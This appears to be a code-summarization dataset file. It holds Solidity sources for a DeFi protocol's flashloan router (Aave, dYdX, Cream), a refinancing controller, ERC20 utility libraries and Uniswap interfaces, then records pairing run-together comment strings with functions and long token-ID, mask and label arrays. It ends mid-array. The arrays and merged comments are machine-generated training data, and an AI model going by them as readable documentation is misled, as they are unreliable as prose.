* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external isAuthorized {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Changes the Swapper contract address
* @param _newSwapper: address of new swapper contract
*/
function setSwapper(address _newSwapper) external isAuthorized {
swapper = IUniswapV2Router02(_newSwapper);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12 <0.8.0;
pragma experimental ABIEncoderV2;
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IFujiAdmin } from "../IFujiAdmin.sol";
import { Errors } from "../Libraries/Errors.sol";
import { ILendingPool, IFlashLoanReceiver } from "./AaveFlashLoans.sol";
import { Actions, Account, DyDxFlashloanBase, ICallee, ISoloMargin } from "./DyDxFlashLoans.sol";
import { ICTokenFlashloan, ICFlashloanReceiver } from "./CreamFlashLoans.sol";
import { FlashLoan } from "./LibFlashLoan.sol";
import { IVault } from "../Vaults/IVault.sol";
interface IFliquidator {
function executeFlashClose(
address _userAddr,
address _vault,
uint256 _amount,
uint256 _flashloanfee
) external;
function executeFlashBatchLiquidation(
address[] calldata _userAddrs,
uint256[] calldata _usrsBals,
address _liquidatorAddr,
address _vault,
uint256 _amount,
uint256 _flashloanFee
) external;
}
interface IFujiMappings {
function addressMapping(address) external view returns (address);
}
contract Flasher is DyDxFlashloanBase, IFlashLoanReceiver, ICFlashloanReceiver, ICallee, Ownable {
using SafeMath for uint256;
using UniERC20 for IERC20;
IFujiAdmin private _fujiAdmin;
address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;
IFujiMappings private immutable _crMappings =
IFujiMappings(0x03BD587Fe413D59A20F32Fc75f31bDE1dD1CD6c9);
receive() external payable {}
modifier isAuthorized() {
require(
msg.sender == _fujiAdmin.getController() ||
msg.sender == _fujiAdmin.getFliquidator() ||
msg.sender == owner(),
Errors.VL_NOT_AUTHORIZED
);
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) public onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Routing Function for Flashloan Provider
* @param info: struct information for flashLoan
* @param _flashnum: integer identifier of flashloan provider
*/
function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized {
if (_flashnum == 0) {
_initiateAaveFlashLoan(info);
} else if (_flashnum == 1) {
_initiateDyDxFlashLoan(info);
} else if (_flashnum == 2) {
_initiateCreamFlashLoan(info);
}
}
// ===================== DyDx FlashLoan ===================================
/**
* @dev Initiates a DyDx flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateDyDxFlashLoan(FlashLoan.Info calldata info) internal {
ISoloMargin solo = ISoloMargin(_dydxSoloMargin);
// Get marketId from token address
uint256 marketId = _getMarketIdFromTokenAddress(solo, info.asset);
// 1. Withdraw $
// 2. Call callFunction(...)
// 3. Deposit back $
Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3);
operations[0] = _getWithdrawAction(marketId, info.amount);
// Encode FlashLoan.Info for callFunction
operations[1] = _getCallAction(abi.encode(info));
// add fee of 2 wei
operations[2] = _getDepositAction(marketId, info.amount.add(2));
Account.Info[] memory accountInfos = new Account.Info[](1);
accountInfos[0] = _getAccountInfo(address(this));
solo.operate(accountInfos, operations);
}
/**
* @dev Executes DyDx Flashloan, this operation is required
* and called by Solo when sending loaned amount
* @param sender: Not used
* @param account: Not used
*/
function callFunction(
address sender,
Account.Info calldata account,
bytes calldata data
) external override {
require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED);
account;
FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info));
//Estimate flashloan payback + premium fee of 2 wei,
uint256 amountOwing = info.amount.add(2);
// Transfer to Vault the flashloan Amount
IERC20(info.asset).uniTransfer(payable(info.vault), info.amount);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, info.amount, 2);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
info.amount,
2
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
info.amount,
2
);
}
//Approve DYDXSolo to spend to repay flashloan
IERC20(info.asset).approve(_dydxSoloMargin, amountOwing);
}
// ===================== Aave FlashLoan ===================================
/**
* @dev Initiates an Aave flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal {
//Initialize Instance of Aave Lending Pool
ILendingPool aaveLp = ILendingPool(_aaveLendingPool);
//Passing arguments to construct Aave flashloan -limited to 1 asset type for now.
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(info.asset);
uint256[] memory amounts = new uint256[](1);
amounts[0] = info.amount;
// 0 = no debt, 1 = stable, 2 = variable
uint256[] memory modes = new uint256[](1);
//modes[0] = 0;
//address onBehalfOf = address(this);
//bytes memory params = abi.encode(info);
//uint16 referralCode = 0;
//Aave Flashloan initiated.
aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0);
}
/**
* @dev Executes Aave Flashloan, this operation is required
* and called by Aaveflashloan when sending loaned amount
*/
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external override returns (bool) {
require(msg.sender == _aaveLendingPool && initiator == address(this), Errors.VL_NOT_AUTHORIZED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
//Estimate flashloan payback + premium fee,
uint256 amountOwing = amounts[0].add(premiums[0]);
// Transfer to the vault ERC20
IERC20(assets[0]).uniTransfer(payable(info.vault), amounts[0]);
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amounts[0], premiums[0]);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(
info.userAddrs[0],
info.vault,
amounts[0],
premiums[0]
);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amounts[0],
premiums[0]
);
}
//Approve aaveLP to spend to repay flashloan
IERC20(assets[0]).uniApprove(payable(_aaveLendingPool), amountOwing);
return true;
}
// ===================== CreamFinance FlashLoan ===================================
/**
* @dev Initiates an CreamFinance flashloan.
* @param info: data to be passed between functions executing flashloan logic
*/
function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal {
// Get crToken Address for Flashloan Call
address crToken = _crMappings.addressMapping(info.asset);
// Prepara data for flashloan execution
bytes memory params = abi.encode(info);
// Initialize Instance of Cream crLendingContract
ICTokenFlashloan(crToken).flashLoan(address(this), info.amount, params);
}
/**
* @dev Executes CreamFinance Flashloan, this operation is required
* and called by CreamFinanceflashloan when sending loaned amount
*/
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external override {
// Check Msg. Sender is crToken Lending Contract
address crToken = _crMappings.addressMapping(underlying);
require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED);
require(IERC20(underlying).balanceOf(address(this)) >= amount, Errors.VL_FLASHLOAN_FAILED);
FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info));
// Estimate flashloan payback + premium fee,
uint256 amountOwing = amount.add(fee);
// Transfer to the vault ERC20
IERC20(underlying).uniTransfer(payable(info.vault), amount);
// Do task according to CallType
if (info.callType == FlashLoan.CallType.Switch) {
IVault(info.vault).executeSwitch(info.newProvider, amount, fee);
} else if (info.callType == FlashLoan.CallType.Close) {
IFliquidator(info.fliquidator).executeFlashClose(info.userAddrs[0], info.vault, amount, fee);
} else {
IFliquidator(info.fliquidator).executeFlashBatchLiquidation(
info.userAddrs,
info.userBalances,
info.userliquidator,
info.vault,
amount,
fee
);
}
// Transfer flashloan + fee back to crToken Lending Contract
IERC20(underlying).uniTransfer(payable(crToken), amountOwing);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
library FlashLoan {
/**
* @dev Used to determine which vault's function to call post-flashloan:
* - Switch for executeSwitch(...)
* - Close for executeFlashClose(...)
* - Liquidate for executeFlashLiquidation(...)
* - BatchLiquidate for executeFlashBatchLiquidation(...)
*/
enum CallType { Switch, Close, BatchLiquidate }
/**
* @dev Struct of params to be passed between functions executing flashloan logic
* @param asset: Address of asset to be borrowed with flashloan
* @param amount: Amount of asset to be borrowed with flashloan
* @param vault: Vault's address on which the flashloan logic to be executed
* @param newProvider: New provider's address. Used when callType is Switch
* @param userAddrs: User's address array Used when callType is BatchLiquidate
* @param userBals: Array of user's balances, Used when callType is BatchLiquidate
* @param userliquidator: The user's address who is performing liquidation. Used when callType is Liquidate
* @param fliquidator: Fujis Liquidator's address.
*/
struct Info {
CallType callType;
address asset;
uint256 amount;
address vault;
address newProvider;
address[] userAddrs;
uint256[] userBalances;
address userliquidator;
address fliquidator;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
library LibUniversalERC20 {
using SafeERC20 for IERC20;
IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
IERC20 private constant _ZERO_ADDRESS = IERC20(0);
function isETH(IERC20 token) internal pure returns (bool) {
return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS);
}
function univBalanceOf(IERC20 token, address account) internal view returns (uint256) {
if (isETH(token)) {
return account.balance;
} else {
return token.balanceOf(account);
}
}
function univTransfer(
IERC20 token,
address payable to,
uint256 amount
) internal {
if (amount > 0) {
if (isETH(token)) {
(bool sent, ) = to.call{ value: amount }("");
require(sent, "Failed to send Ether");
} else {
token.safeTransfer(to, amount);
}
}
}
function univApprove(
IERC20 token,
address to,
uint256 amount
) internal {
require(!isETH(token), "Approve called on ETH");
if (amount == 0) {
token.safeApprove(to, 0);
} else {
uint256 allowance = token.allowance(address(this), to);
if (allowance < amount) {
if (allowance > 0) {
token.safeApprove(to, 0);
}
token.safeApprove(to, amount);
}
}
}
}
pragma solidity >=0.6.2;
import './IUniswapV2Router01.sol';
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface IFlashLoanReceiver {
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool);
}
interface ILendingPool {
function flashLoan(
address receiverAddress,
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata modes,
address onBehalfOf,
bytes calldata params,
uint16 referralCode
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
pragma experimental ABIEncoderV2;
library Account {
enum Status { Normal, Liquid, Vapor }
struct Info {
address owner; // The address that owns the account
uint256 number; // A nonce that allows a single address to control many accounts
}
}
library Actions {
enum ActionType {
Deposit, // supply tokens
Withdraw, // borrow tokens
Transfer, // transfer balance between accounts
Buy, // buy an amount of some token (publicly)
Sell, // sell an amount of some token (publicly)
Trade, // trade tokens against another account
Liquidate, // liquidate an undercollateralized or expiring account
Vaporize, // use excess tokens to zero-out a completely negative account
Call // send arbitrary data to an address
}
struct ActionArgs {
ActionType actionType;
uint256 accountId;
Types.AssetAmount amount;
uint256 primaryMarketId;
uint256 secondaryMarketId;
address otherAddress;
uint256 otherAccountId;
bytes data;
}
}
library Types {
enum AssetDenomination {
Wei, // the amount is denominated in wei
Par // the amount is denominated in par
}
enum AssetReference {
Delta, // the amount is given as a delta from the current value
Target // the amount is given as an exact number to end up at
}
struct AssetAmount {
bool sign; // true if positive
AssetDenomination denomination;
AssetReference ref;
uint256 value;
}
}
/**
* @title ICallee
* @author dYdX
*
* Interface that Callees for Solo must implement in order to ingest data.
*/
interface ICallee {
/**
* Allows users to send this contract arbitrary data.
*
* @param sender The msg.sender to Solo
* @param accountInfo The account from which the data is being sent
* @param data Arbitrary data given by the sender
*/
function callFunction(
address sender,
Account.Info memory accountInfo,
bytes memory data
) external;
}
interface ISoloMargin {
function getNumMarkets() external view returns (uint256);
function getMarketTokenAddress(uint256 marketId) external view returns (address);
function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external;
}
contract DyDxFlashloanBase {
// -- Internal Helper functions -- //
function _getMarketIdFromTokenAddress(ISoloMargin solo, address token)
internal
view
returns (uint256)
{
uint256 numMarkets = solo.getNumMarkets();
address curToken;
for (uint256 i = 0; i < numMarkets; i++) {
curToken = solo.getMarketTokenAddress(i);
if (curToken == token) {
return i;
}
}
revert("No marketId found");
}
function _getAccountInfo(address receiver) internal pure returns (Account.Info memory) {
return Account.Info({ owner: receiver, number: 1 });
}
function _getWithdrawAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) {
return
Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: data
});
}
function _getDepositAction(uint256 marketId, uint256 amount)
internal
view
returns (Actions.ActionArgs memory)
{
return
Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: amount
}),
primaryMarketId: marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.5;
interface ICFlashloanReceiver {
function executeOperation(
address sender,
address underlying,
uint256 amount,
uint256 fee,
bytes calldata params
) external;
}
interface ICTokenFlashloan {
function flashLoan(
address receiver,
uint256 amount,
bytes calldata params
) external;
}
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { IVault } from "./Vaults/IVault.sol";
import { IProvider } from "./Providers/IProvider.sol";
import { Flasher } from "./Flashloans/Flasher.sol";
import { FlashLoan } from "./Flashloans/LibFlashLoan.sol";
import { IFujiAdmin } from "./IFujiAdmin.sol";
import { Errors } from "./Libraries/Errors.sol";
interface IVaultExt is IVault {
//Asset Struct
struct VaultAssets {
address collateralAsset;
address borrowAsset;
uint64 collateralID;
uint64 borrowID;
}
function vAssets() external view returns (VaultAssets memory);
}
contract Controller is Ownable {
using SafeMath for uint256;
IFujiAdmin private _fujiAdmin;
modifier isValidVault(address _vaultAddr) {
require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!");
_;
}
/**
* @dev Sets the fujiAdmin Address
* @param _newFujiAdmin: FujiAdmin Contract Address
*/
function setFujiAdmin(address _newFujiAdmin) external onlyOwner {
_fujiAdmin = IFujiAdmin(_newFujiAdmin);
}
/**
* @dev Performs a forced refinancing routine
* @param _vaultAddr: fuji Vault address
* @param _newProvider: new provider address
* @param _ratioA: ratio to determine how much of debtposition to move
* @param _ratioB: _ratioA/_ratioB <= 1, and > 0
* @param _flashNum: integer identifier of flashloan provider
*/
function doRefinancing(
address _vaultAddr,
address _newProvider,
uint256 _ratioA,
uint256 _ratioB,
uint8 _flashNum
) external isValidVault(_vaultAddr) onlyOwner {
IVault vault = IVault(_vaultAddr);
IVaultExt.VaultAssets memory vAssets = IVaultExt(_vaultAddr).vAssets();
vault.updateF1155Balances();
// Check Vault borrowbalance and apply ratio (consider compound or not)
uint256 debtPosition =
IProvider(vault.activeProvider()).getBorrowBalanceOf(vAssets.borrowAsset, _vaultAddr);
uint256 applyRatiodebtPosition = debtPosition.mul(_ratioA).div(_ratioB);
// Check Ratio Input and Vault Balance at ActiveProvider
require(
debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0,
Errors.RF_INVALID_RATIO_VALUES
);
//Initiate Flash Loan Struct
FlashLoan.Info memory info =
FlashLoan.Info({
callType: FlashLoan.CallType.Switch,
asset: vAssets.borrowAsset,
amount: applyRatiodebtPosition,
vault: _vaultAddr,
newProvider: _newProvider,
userAddrs: new address[](0),
userBalances: new uint256[](0),
userliquidator: address(0),
fliquidator: address(0)
});
Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum);
IVault(_vaultAddr).setActiveProvider(_newProvider);
}
}
| * @dev Initiates an Aave flashloan. @param info: data to be passed between functions executing flashloan logic/Initialize Instance of Aave Lending PoolPassing arguments to construct Aave flashloan -limited to 1 asset type for now. 0 = no debt, 1 = stable, 2 = variablemodes[0] = 0;address onBehalfOf = address(this);bytes memory params = abi.encode(info);uint16 referralCode = 0;Aave Flashloan initiated. | function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal {
ILendingPool aaveLp = ILendingPool(_aaveLendingPool);
address receiverAddress = address(this);
address[] memory assets = new address[](1);
assets[0] = address(info.asset);
uint256[] memory amounts = new uint256[](1);
amounts[0] = info.amount;
uint256[] memory modes = new uint256[](1);
aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0);
}
| 1,311,844 | [
1,
2570,
16020,
392,
432,
836,
9563,
383,
304,
18,
225,
1123,
30,
501,
358,
506,
2275,
3086,
4186,
11274,
9563,
383,
304,
4058,
19,
7520,
5180,
434,
432,
836,
511,
2846,
8828,
6433,
310,
1775,
358,
4872,
432,
836,
9563,
383,
304,
300,
21325,
358,
404,
3310,
618,
364,
2037,
18,
374,
273,
1158,
18202,
88,
16,
404,
273,
14114,
16,
576,
273,
2190,
19282,
63,
20,
65,
273,
374,
31,
2867,
603,
1919,
20222,
951,
273,
1758,
12,
2211,
1769,
3890,
3778,
859,
273,
24126,
18,
3015,
12,
1376,
1769,
11890,
2313,
1278,
370,
23093,
273,
374,
31,
37,
836,
15014,
383,
304,
27183,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
225,
445,
389,
2738,
3840,
37,
836,
11353,
1504,
304,
12,
11353,
1504,
304,
18,
966,
745,
892,
1123,
13,
2713,
288,
203,
565,
467,
48,
2846,
2864,
279,
836,
48,
84,
273,
467,
48,
2846,
2864,
24899,
69,
836,
48,
2846,
2864,
1769,
203,
203,
565,
1758,
5971,
1887,
273,
1758,
12,
2211,
1769,
203,
565,
1758,
8526,
3778,
7176,
273,
394,
1758,
8526,
12,
21,
1769,
203,
565,
7176,
63,
20,
65,
273,
1758,
12,
1376,
18,
9406,
1769,
203,
565,
2254,
5034,
8526,
3778,
30980,
273,
394,
2254,
5034,
8526,
12,
21,
1769,
203,
565,
30980,
63,
20,
65,
273,
1123,
18,
8949,
31,
203,
203,
565,
2254,
5034,
8526,
3778,
12382,
273,
394,
2254,
5034,
8526,
12,
21,
1769,
203,
203,
203,
565,
279,
836,
48,
84,
18,
13440,
1504,
304,
12,
24454,
1887,
16,
7176,
16,
30980,
16,
12382,
16,
1758,
12,
2211,
3631,
24126,
18,
3015,
12,
1376,
3631,
374,
1769,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x0aD7928BfBf05De4E9dd16842280f54f4b9347B9/sources/tests/4_Ballot_test.sol | ---------------------------------------------------------------------------- ERC20 Token, with the addition of symbol, name and decimals and assisted token transfers ---------------------------------------------------------------------------- ------------------------------------------------------------------------ Constructor ------------------------------------------------------------------------ | contract KTYToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "KTY";
name = "KittyToken";
decimals = 18;
_totalSupply = 1000000000000000000;
balances[0x9B4d86eFcF8ddc52864A548544CCCC0Fd39D43C5] = _totalSupply;
emit Transfer(address(0), 0x9B4d86eFcF8ddc52864A548544CCCC0Fd39D43C5, _totalSupply);
}
function totalSupply() public override view returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public override view returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public override returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public override returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
return true;
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 8,101,938 | [
1,
5802,
7620,
4232,
39,
3462,
3155,
16,
598,
326,
2719,
434,
3273,
16,
508,
471,
15105,
471,
1551,
25444,
1147,
29375,
8879,
13849,
8879,
17082,
11417,
8879,
17082,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
1475,
5538,
1345,
353,
4232,
39,
3462,
1358,
16,
14223,
11748,
16,
14060,
10477,
288,
203,
565,
533,
1071,
3273,
31,
203,
565,
533,
1071,
225,
508,
31,
203,
565,
2254,
28,
1071,
15105,
31,
203,
565,
2254,
1071,
389,
4963,
3088,
1283,
31,
203,
203,
565,
2874,
12,
2867,
516,
2254,
13,
324,
26488,
31,
203,
565,
2874,
12,
2867,
516,
2874,
12,
2867,
516,
2254,
3719,
2935,
31,
203,
203,
203,
565,
3885,
1435,
1071,
288,
203,
3639,
3273,
273,
315,
47,
5538,
14432,
203,
3639,
508,
273,
315,
14102,
4098,
1345,
14432,
203,
3639,
15105,
273,
